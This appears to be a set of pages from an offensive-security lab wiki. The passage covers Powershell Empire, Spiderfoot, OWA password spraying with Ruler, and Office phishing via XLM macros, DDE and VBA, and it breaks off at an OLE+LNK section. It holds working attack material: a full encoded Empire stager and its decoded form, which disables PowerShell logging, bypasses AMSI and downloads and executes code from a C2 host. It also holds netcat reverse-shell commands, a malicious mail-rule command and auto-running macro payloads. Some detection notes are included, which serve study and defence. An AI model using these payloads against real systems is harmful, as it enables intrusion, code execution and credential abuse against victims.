Event logs will show how many times the profiler has been used by victims:

![](/files/-LVeI_nKsWAWy91yDFOq)

## References

<https://www.cobaltstrike.com/downloads/csmanual313.pdf>


# Powershell Empire 101

Exploring key concepts of the Powershell Empire

## Listener

{% code title="attacker\@local" %}

```csharp
// Empire commands used
?
uselistener meterpreter
info
```

{% endcode %}

![](/files/-LLVgU6_drYj3rPPxfcc)

Starting the listener:

```
execute
```

![](/files/-LLVhltv_m2mpJ_F4nw9)

## Stager

Stager will download and execute the final payload which will call back to the listener we set up previously - `meterpreter`- below shows how to set it up:

{% code title="attacker\@local" %}

```csharp
//specify what stager to use
usestager windows/hta

//associate stager with the meterpreter listener
set Listener meterpreter

//write stager to the file
set OutFile stage.hta

//create the stager
execute
```

{% endcode %}

![](/files/-LLVl8NmSyTRUQ4eUlkO)

A quick look at the stager code:

![](/files/-LLVm9UwsH607SWLon2x)

### Issues

Various stagers I generated for the meterpreter listener were giving me errors like [this](https://github.com/EmpireProject/Empire/issues/896) and this:

![](/files/-LLWHlPKLHTfd2OkbyV7)

and this:

![](/files/-LLWHnMIXWcom9O0xePx)

After looking at the traffic and a quick nmap scan, it seemed like there may be a bug in Empire's uselistener module when used with meterpreter - for some reason it will not actually start listening/open up the port:

![](/files/-LLWJyS_SxlV3jwJmojz)

![](/files/-LLWK0CF_1TeTS-_kBr_)

To test this assumption, I created another http listener on port 80 - which worked immediately, leaving the meterpeter listener being buggy at least in my environment:

![](/files/-LLWKy8HeE5zbjesIzt0)

## Agent

Agent is essentially a compromised victim system that called back to the listener and is now ready to receive commands.

Continuing testing with the `http` listener and a `multi/launcher` stager, the agent is finally returned once the `launcher.ps1` (read: stager) is executed on the victim system:

![](/files/-LLWOkP33b87xf3C6hJ3)

Let's try getting one more agent back from another machine via [WMI lateral movement](/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement):

{% code title="attacker\@local" %}

```csharp
interact <agent-name>
usemodule powershell/lateral_movement/invoke_wmi
set Agent <agent-name>
set UserName offense\administrator
set Password 123456
set ComputerName dc-mantvydas
run
```

{% endcode %}

![](/files/-LLaC4hMYRBCHBCaUYWV)

## Beaconing

With default http listener profile set, below are the most commonly used URLs of the agent beaconing back to the listener:

![](/files/-LLWSEd5ACT-o02P8anr)

The packet data in any of those beacons:

![](/files/-LLWSz1Ba4UDElmG9waG)

## Observations

Note how executing the stager launcher.ps1 spawned another powershell instance and both parent and the child windows are hidden. Note that the children powershell was invoked with an encoded powershell command line:

![](/files/-LLWVJw-BVx-16T0GY6V)

Stager's command line in base64:

```csharp
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAFIAcwBpAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBpAE8ATgAuAE0AQQBKAE8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAcwBzAEUAbQBCAGwAeQAuAEcAZQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAdABWAGEATAB1AGUAKAAkAE4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBMAD0AWwBDAG8AbABMAEUAYwB0AEkATwBuAHMALgBHAGUATgBlAFIAaQBDAC4ARABJAGMAdABpAG8ATgBhAFIAeQBbAHMAVABSAEkAbgBHACwAUwB5AHMAdABFAG0ALgBPAGIAagBFAGMAdABdAF0AOgA6AG4ARQB3ACgAKQA7ACQAdgBhAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAGEAbAB9AEUATABTAEUAewBbAFMAYwByAEkAcAB0AEIATABPAEMAawBdAC4AIgBHAGUAVABGAGkARQBgAGwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAFQAVgBhAEwAVQBlACgAJABuAFUATABMACwAKABOAGUAdwAtAE8AQgBqAEUAQwB0ACAAQwBvAEwAbABFAEMAVABJAG8AbgBTAC4ARwBFAE4AZQByAEkAQwAuAEgAYQBzAEgAUwBlAFQAWwBzAHQAcgBJAE4AZwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAUwBTAEUATQBiAGwAWQAuAEcARQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBFAFQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEATABVAGUAKAAkAG4AVQBMAGwALAAkAHQAcgBVAGUAKQB9ADsAfQA7AFsAUwB5AFMAdABFAG0ALgBOAGUAdAAuAFMARQBSAFYAaQBjAGUAUABPAGkATgB0AE0AQQBOAEEARwBFAHIAXQA6ADoARQBYAHAAZQBDAHQAMQAwADAAQwBvAE4AdABJAE4AVQBlAD0AMAA7ACQAdwBjAD0ATgBFAFcALQBPAEIASgBlAEMAVAAgAFMAeQBTAFQAZQBNAC4ATgBlAHQALgBXAGUAYgBDAEwASQBFAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBBAGQAZQByAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQA9AFsAUwBZAFMAdABFAG0ALgBOAEUAdAAuAFcARQBiAFIARQBRAFUAZQBTAFQAXQA6ADoARABFAGYAQQB1AEwAVABXAEUAYgBQAFIAbwB4AHkAOwAkAFcAQwAuAFAAUgBvAFgAWQAuAEMAcgBFAEQAZQBuAFQAaQBhAEwAUwAgAD0AIABbAFMAWQBzAHQAZQBNAC4ATgBFAFQALgBDAHIARQBkAEUATgBUAEkAQQBsAEMAYQBDAEgARQBdADoAOgBEAEUAZgBhAHUAbAB0AE4AZQBUAHcATwBSAGsAQwBSAGUAZABFAG4AVABpAGEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AHMAdABFAE0ALgBUAEUAeABUAC4ARQBuAEMATwBEAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBUAEIAeQB0AGUAcwAoACcAUgAuACUAPwBWAHQAQwA4AHgAcQBnAG4AcwBGAGMANQBaACsAOgA5AHcAZABFAH0AQQBCAE0AcAB7AG0AegBPACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAFUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgA3ADEAOgA4ADAAJwA7ACQAdAA9ACcALwBsAG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7ACQAVwBjAC4ASABFAEEAZABlAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AOQB1AGwAYQB0AEwASwBMAHgANQBEAFcAWgA1AEkAYQB3AFIAdQBzAEYAUwAyAFoAMgByAEEAPQAiACkAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQAbwBXAE4AbABvAEEAZABEAGEAdABBACgAJABTAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQBUAGEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAEEAPQAkAEQAYQB0AEEAWwA0AC4ALgAkAEQAYQB0AEEALgBMAGUATgBnAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
```

Decoded command line with notable user agent, C2 server and a session cookie:

```csharp
If($PSVeRsiOnTabLe.PSVErSiON.MAJOR - ge 3) {
    $GPF = [ReF].AssEmBly.GeTTyPE('System.Management.Automation.Utils').
    "GETFiE`ld" ('cachedGroupPolicySettings', 'N' + 'onPublic,Static');
    If($GPF) {
        $GPC = $GPF.GetVaLue($NulL);
        IF($GPC['ScriptB' + 'lockLogging']) {
            $GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
            $GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
        }
        $vAL = [ColLEctIOns.GeNeRiC.DIctioNaRy[sTRInG, SystEm.ObjEct]]::nEw();
        $val.ADd('EnableScriptB' + 'lockLogging', 0);
        $VaL.ADd('EnableScriptBlockInvocationLogging', 0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $Val
    }
    ELSE {
        [ScrIptBLOCk].
        "GeTFiE`lD" ('signatures', 'N' + 'onPublic,Static').SeTVaLUe($nULL, (New - OBjECt CoLlECTIonS.GENerIC.HasHSeT[strINg]))
    }[REF].ASSEMblY.GETTYpe('System.Management.Automation.AmsiUtils') | ? {
        $_
    } | % {
        $_.GETField('amsiInitFailed', 'NonPublic,Static').SETVALUe($nULl, $trUe)
    };
};
[SyStEm.Net.SERVicePOiNtMANAGEr]::EXpeCt100CoNtINUe = 0;
$wc = NEW - OBJeCT SySTeM.Net.WebCLIENT;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.HeAderS.Add('User-Agent', $u);
$wc.PROXy = [SYStEm.NEt.WEbREQUeST]::DEfAuLTWEbPRoxy;
$WC.PRoXY.CrEDenTiaLS = [SYsteM.NET.CrEdENTIAlCaCHE]::DEfaultNeTwORkCRedEnTiaLs;
$Script: Proxy = $wc.Proxy;
$K = [SystEM.TExT.EnCODINg]::ASCII.GeTBytes('R.%?VtC8xqgnsFc5Z+:9wdE}ABMp{mzO');
$R = {
    $D,
    $K = $ARGS;$S = 0. .255;0. .255 | % {
        $J = ($J + $S[$_] + $K[$_ % $K.COUNt]) % 256;$S[$_],
        $S[$J] = $S[$J],
        $S[$_]
    };$D | % {
        $I = ($I + 1) % 256;$H = ($H + $S[$I]) % 256;$S[$I],
        $S[$H] = $S[$H],
        $S[$I];$_ - bxor$S[($S[$I] + $S[$H]) % 256]
    }
};
$ser = 'http://192.168.2.71:80';
$t = '/login/process.php';
$Wc.HEAderS.AdD("Cookie", "session=9ulatLKLx5DWZ5IawRusFS2Z2rA=");
$dAta = $WC.DoWNloAdDatA($SER + $t);
$Iv = $DATa[0. .3];
$DaTA = $DatA[4..$DatA.LeNgTH]; - jOiN[ChaR[]]( & $R $datA($IV + $K)) | IEX
```

### Logs

If we isolate the evil powershell that was infected by the Empire in our SIEM, we can see the beacons:

![](/files/-LL_lPhF9dYHUjF9wbBd)

A compromised system can generate event `800` showing the following in Windows PowerShell logs (powershell 5.0+):

![](/files/-LL_nmrsVCuTjbKjQlez)

Also loads of `4103` events in `Microsoft-Windows-PowerShell/Operational`:

![](/files/-LL_okcMqJESPCiJtjAg)

In the same way, if PS transcript logging is enabled, the stager execution could be captured in there:

![](/files/-LL_rV1b6fjvidda4fei)

### Memory Dumps

A memory dump can also reveal the same stager activity:

```csharp
volatility -f /mnt/memdumps/w7-empire.bin consoles --profile Win7SP1x64
```

![](/files/-LLa-5TX2paTh_ug6jl_)

## References

{% embed url="<http://www.harmj0y.net/blog/empire/expanding-your-empire/>" %}

{% embed url="<http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/>" %}

{% embed url="<https://null-byte.wonderhowto.com/how-to/use-powershell-empire-getting-started-with-post-exploitation-windows-hosts-0178664/>" %}

{% embed url="<https://ethicalhackingblog.com/hacking-powershell-empire-2-0/>" %}

{% embed url="<http://www.sixdub.net/?p=627>" %}

<https://www.sans.org/reading-room/whitepapers/incident/disrupting-empire-identifying-powershell-empire-command-control-activity-38315>


# Spiderfoot 101 with Kali using Docker

This lab walks through some simple steps required to get the OSINT tool Spiderfoot up and running on a Kali Linux using Docker.

Spiderfoot is an application that enables you as a pentester/red teamer to collect intelligence about a given subject - email address, username, domain or IP address that may help you in planning and advancing your attacks against them.

## Download Spiderfoot

Download the Spiderfoot linux package from <https://www.spiderfoot.net/download/> and extract it to a location of your choice on your file system.\
I extracted it to `/root/Downloads/spiderfoot-2.12.0-src/spiderfoot-2.12`

and made it my working directory:

```csharp
cd /root/Downloads/spiderfoot-2.12.0-src/spiderfoot-2.12
```

## Upgrade PIP

You may need to upgrade the pip before it starts giving you trouble:

```csharp
pip install --upgrade pip
```

## Build Docker Image

Build the spiderfoot docker image :

```
docker build -t spiderfoot .
```

![](/files/-LTwIHAEEMAhTPym0UPX)

Check if the image got created successfully:

```
docker images
```

You should see the spiderfoot image creted seconds ago:

![](/files/-LTwJ7ksRwafMptTtGHO)

## Run the Spiderfoot Docker

```csharp
docker run -p 5009:5001 -d spiderfoot
```

The above will run previously created spiderfoot image in the background and expose a TCP port 5009 on the host computer. Any traffic sent to `host:5009` will be forwarded to the port 5001 on the docker where spiderfoot is running and listening.

To check if the docker image is running, we can do:

```
docker ps
```

The below confirms the docker is indeed running the spiderfoot image and is listening on port 5001:

![](/files/-LTwJo09kLZqqr_NiY_K)

Below confirms that the host machine has now exposed the TCP port 5009 (which forwards traffic to the docker's port 5001):

![](/files/-LTwJfLBr76AlSt7LMp3)

## Using Spiderfoot

Navigate to your host:5009 to access the spiderfoot UI and start a new scan:

![](/files/-LTwKG8JvgSv50GOlhwG)

During the scan, we can start observing various pieces of data being returned from the internet:

![](/files/-LTwKVsIRUq7gedGiZt_)

Drilling down to one of the above categories - DNS records:

![](/files/-LTwKbO0pkqxMl38C7pE)

## References

{% embed url="<https://www.spiderfoot.net/blog/spiderfoot-running-in-docker/>" %}


# Initial Access


# Password Spraying Outlook Web Access: Remote Shell

## Context

This lab looks at an attacking technique called password spraying as well as abusing Outlook Web Application by exploiting mail rules to get a remote shell using a tool called `Ruler`.

## Defininitions

**Password spraying** is a form of password brute-forcing attack. In password spraying, an attacker (with the help of a tool) cycles through a list of possible usernames (found using OSINT techniques against a target company or other means) with a couple of most commonly used weak passwords.&#x20;

In comparison, a traditional brute-force works by selecting a username from the list and trying all the passwords in the wordlist against that username. Once all passwords are exhausted for that user name, another username is chosen from the list and the process repeats.

Password spraying could be illustrated with the following table:

| User | Password      |
| ---- | ------------- |
| john | Winter2018    |
| ben  | Winter2018    |
| ...  | Winter2018    |
| john | December2018! |
| ben  | December2018! |
| ...  | December2018! |

Standard password brute-forcing could be illustrated with the following table:

| User | Password    |
| ---- | ----------- |
| john | Winter2018  |
| john | Winter2018! |
| john | Password1   |
| ben  | Winter2018  |
| ben  | Winter2018! |
| ben  | Password1   |

## Password Spraying

Let's try doing a password spray against an Exchange 2016 server in a `offense.local` domain:

{% code title="attacker\@kali" %}

```csharp
ruler -k --domain offense.local brute --users users --passwords passwords --verbose
```

{% endcode %}

![](/files/-LUQbF2eFnRlmYfzKPIr)

![](/files/-LUQatQI303trBw4PVRf)

The above shows that password spray was successful against the user `spotless` who used a weak password `123456`.

Note, that if you are attempting to replicate this technique in your own labs, you may need to update your `/etc/hosts` to point to your Exchange server:

![](/files/-LUQb2mdI-ZJxmL9hzHu)

## Getting a Shell via Malicious Email Rule

### Process Overview

If the password spray against an Exchange server was successful and you have obtained valid credentials, you can now leverage `Ruler` to create a malicious email rule to that will gain you remote code execution on the host that checks that compromised mailbox.

A high level overwiew of how the spraying and remote code execution works:

* assume you have obtained working credentials during the spray for the user `spotless@offense.local`
* with the help of `Ruler`, a malicious mail rule is created for the compromised account which in our case is `spotless@offense.local`. The rule created will conform to the format along the lines of:\
  `if emailSubject contains`` `**`someTriggerWord`***`start`***`pathToSomeProgram`**
* A new email with subject containing `someTriggerWord` is sent to the `spotless@offense.local`
* User `spotless` logs on to his/her workstation and launches Outlook client to check for new email
* Malicious email comes in and the malicious mail rule is triggered, which in turn starts the program specified in `pathToSomeProgram` which is pointing to a malicious payload giving a reverse shell to the attacker

### Execution

Let's validate the compromised credentials are working by checking if there are any email rules created already:

{% code title="attacker\@kali" %}

```csharp
ruler -k --verbose --email spotless@offense.local -u spotless -p 123456  display
```

{% endcode %}

The below suggests the credentials are working and that no mail rules are set for this account yet:

![](/files/-LUR3CIwBLFFACpQ4Pj0)

To carry out the attack further, I've generated a reverse meterpreter payload and saved it as a windows executable in `/root/tools/evilm64.exe`&#x20;

We now need to create an SMB share that is accessible to our victim host and point it to the location where our payload evilm64.exe is located:

{% code title="attacker\@kali" %}

```csharp
smbserver.py tools /root/tools/
```

{% endcode %}

Next, we setup a metasploit listener to catch the incoming reverse shell:

{% code title="attacker\@kali" %}

```csharp
use exploit/multi/handler 
set lhost 10.0.0.5
set lport 443
exploit
```

{% endcode %}

Finally, we fire up the ruler and create the malicious email rule:

{% code title="attacker\@kali" %}

```csharp
ruler -k --verbose --email spotless@offense.local --username spotless -p 123456  add --location '\\10.0.0.5\tools\\evilm64.exe' --trigger "popashell" --name maliciousrule --send --subject popashell
```

{% endcode %}

Below shows the entire attack and all of the steps mentioned above in action - note how the compromised mailbox does not even get to see the malicious email coming in:

![](/files/-LURGdBJOizPQ7ob8aqa)

Below shows the actual malicious rule that got created as part of the attack - note the `subject` and the `start` properties - we specified them in the ruler command:

![](/files/-LURHJJtSG3P8p5Fa8F1)

If you want to delete the malicious email rule, do this:

{% code title="attacker\@kali" %}

```csharp
ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 delete --name maliciousrule
```

{% endcode %}

## Detection & Mitigation

{% embed url="<https://www.microsoft.com/en-us/microsoft-365/blog/2018/03/05/azure-ad-and-adfs-best-practices-defending-against-password-spray-attacks/>" %}

## References

{% embed url="<https://github.com/sensepost/ruler/wiki>" %}

{% embed url="<https://silentbreaksecurity.com/malicious-outlook-rules/>" %}

{% embed url="<https://labs.mwrinfosecurity.com/blog/malicous-outlook-rules/>" %}

{% embed url="<https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-sensitive-data/>" %}


# Phishing with MS Office


# Phishing: XLM / Macro 4.0

This lab is based on the research performed by [Stan Hegt from Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/).

## Weaponization

A Microsoft Excel Spreadsheet can be weaponized by firstly inserting a new sheet of type "MS Execel 4.0 Macro":

![](/files/-LOJ-K1pu5iRBnkRj5xK)

We can then execute command by typing into the cells:

```
=exec("c:\shell.cmd")
=halt()
```

As usual, the contents of shell.cmd is a simple netcat reverse shell:

{% code title="c:\shell.cmd" %}

```csharp
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
```

{% endcode %}

Note how we need to rename the `A1` cell to `Auto_Open` if we want the Macros to fire off once the document is opened:

![](/files/-LOJ-K1ng9KAU7OBn7T4)

{% file src="/files/-LOJJHFjzUdKiLIUhmmm" %}
Excel 4.0 Macro Functions Reference.pdf
{% endfile %}

{% file src="/files/-LOJHfA7cXgeFnhG6ppl" %}
XLM Phishing.xlsm
{% endfile %}

## Execution

Opening the document and enabling Macros pops a reverse shell:

![](/files/-LOJ-K1iLYnynKtP6piT)

Note that XLM Macros allows using Win32 APIs, hence shellcode injection is also possible. See the original research link below for more info.

## Observations

As usual, look for any suspicious children originating from under the Excel.exe:

![](/files/-LOJGhQ91Wmbqn72LAZ0)

Having a quick look at the file with a hex editor, we can see a suspicious string `shell.cmd` immediately, which is of course good news for defenders:

![](/files/-LOJOVXnSF8feuxO12WF)

![](/files/-LOJOe0SlJLeAim9LKEb)

## References

{% embed url="<https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/>" %}


# T1173: Phishing - DDE

Dynamic Data Exchange code - executing code in Microsoft Office documents.

## Weaponization

Open a new MS Word Document and insert a field:

![](/files/-LHONn4sUHx2Suv5E266)

It will add an `!Unexpected End of Formula`to the document, that is expected. Right click it > Toggle Field Codes:

![](/files/-LHOO4Xm5CphWj5z09pB)

Toggle Field Codes will give this:

![](/files/-LHOPdXAsp4R8fqhGvz0)

Replace `= \* MERGEFORMAT` with payload and save the doc:

```bash
DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" 
```

to get this:

![](/files/-LHOQ2-XyUnyZxzuue6a)

{% file src="/files/-LHOS0FpbTiWcXoHFoN9" %}
DDE: evil.docx
{% endfile %}

## Execution

Once the victim launches the evil .docx by and accepts 2 prompts, the reverse shell (or in this case a calc.exe) pops:

![](/files/-LHOQGWzxYlJXcO59-2m)

![](/files/-LHOQLd4T-8u52iy4yME)

## Observations

![](/files/-LHOQ_KHcZpwsFfQuVOj)

Sysmon logs can help spot suspicious processes and/or network connections being initiated by Office applications:

![3rd and 4th columns respectively: PID and PPID](/files/-LHOT6Wce0wc24FsMBRb)

## Inspection

How can we inspect .docx (same for .xlsx) files? Since they are essentially .zip archives, we can rename the .docx file to .zip and simply unzip the archive for further inspection.&#x20;

The file we are interested in is the `document.xml` (trimmed for brevity below). Note how line 4 allows us inspecting the DDE payload in plain text:

{% code title="document.xml" %}

```markup
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14">
<...snip...>
      <w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText>
<...snip...>
</w:document>
```

{% endcode %}

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1173>" %}


# T1137: Phishing - Office Macros

Code execution with VBA Macros

This technique will build a primitive word document that will auto execute the VBA Macros code once the Macros protection is disabled.

## Weaponization

1. Create new word document (CTRL+N)
2. Hit ALT+F11 to go into Macro editor
3. Double click into the "This document" and CTRL+C/V the below:

{% code title="macro" %}

```javascript
Private Sub Document_Open()
  MsgBox "game over", vbOKOnly, "game over"
  a = Shell("C:\tools\shell.cmd", vbHide)
End Sub
```

{% endcode %}

{% code title="C:\tools\shell.cmd" %}

```csharp
C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe
```

{% endcode %}

This is how it should look roughly in:

![](/files/-LIgPQNRLaMXc3DpUP4X)

ALT+F11 to switch back to the document editing mode and add a flair of social engineering like so:

![](/files/-LIgPqjDNeExtA1WGgnU)

Save the file as a macro enabled document, for example a Doc3.dotm:

![](/files/-LIgQnqjf8Sm1htUDKpJ)

{% file src="/files/-LJU\_9d0pbAxFsFkB9Ea" %}
Dot3.dotm - Word Document with Embedded VBA Macros
{% endfile %}

## Execution

Victim launching the Doc3.dotm:

![](/files/-LIgRv4H3uSymKtI-jFD)

...and enabling the content - which results in attacker receiving a reverse shell:

![](/files/-LIgSRtAicNbpqdX4uJB)

## Observations

The below graphic represents the process ancestry after the victim had clicked the "Enable Content" button in our malicious Doc3.dotm document:

![](/files/-LIgRVT9xNepD8ZzZAMQ)

## Inspection

If you received a suspicious Office document and do not have any malware analysis tools, hopefully at least you have access to a WinZip or 7Zip and Strings utility or any type of Hex Editor to hand.&#x20;

Since Office files are essentially ZIP archives (PK magic bytes):

```bash
root@remnux:/home/remnux# hexdump -C Doc3.dotm | head -n1
00000000  50 4b 03 04 14 00 06 00  08 00 00 00 21 00 cc 3c  |PK..........!..<|
```

...the file Dot3.dotm can be renamed to **Doc3.zip** and simply unzipped like a regular ZIP archive. Doing so deflates the archive and reveals the files that make up the malicious office document. One of the files is the `document.xml` which is where the main document body text goes and `vbaProject.bin` containing the evil macros themselves:

![](/files/-LIgclLBiiK0f9mpubkF)

Looking inside the `document.xml`, we can see the body copy we inputted at the very begging of this page in the [Weaponization](/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#weaponization) section:

![](/files/-LIgczRGILGd6SJs7B19)

Additionally, if you have the strings or a hex dumping utility, you can pass the `vbaProject.bin` through it. This can sometimes give you as defender enough to determine if the document is suspicious/malicious.&#x20;

Running `hexdump -C vbaProject.bin` reveals some fragmented keywords that should immediately raise your suspicion - **Shell, Hide, Sub\_Open** and something that looks like a file path:

![](/files/-LIgf-qO1mmU0Yc3pTyw)

If you have a malware analysis linux distro Remnux, you can easily inspect the VBA macros code contained in the document by issuing the command `olevba.py filename.dotm`. As seen below, the command nicely decodes the `vbaProject.bin`  and reveals the actual code as well as provides some interpretation of the commands found in the script:

![](/files/-LIgd5GpqjkpIS7VMnlq)

{% hint style="danger" %}
Note that the olevba can be fooled as per <http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen>
{% endhint %}

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1137>" %}


# Phishing: OLE + LNK

Phishing, Initial Access using embedded OLE + LNK objects

This lab explores a popular phishing technique where attackers embed .lnk files into the Office documents and camouflage them with Ms Word office icons in order to deceive victims to click and run them.&#x20;

## Weaponization

Creating an .LNK file that will trigger the payload once executed:

{% code title="attacker\@local" %}

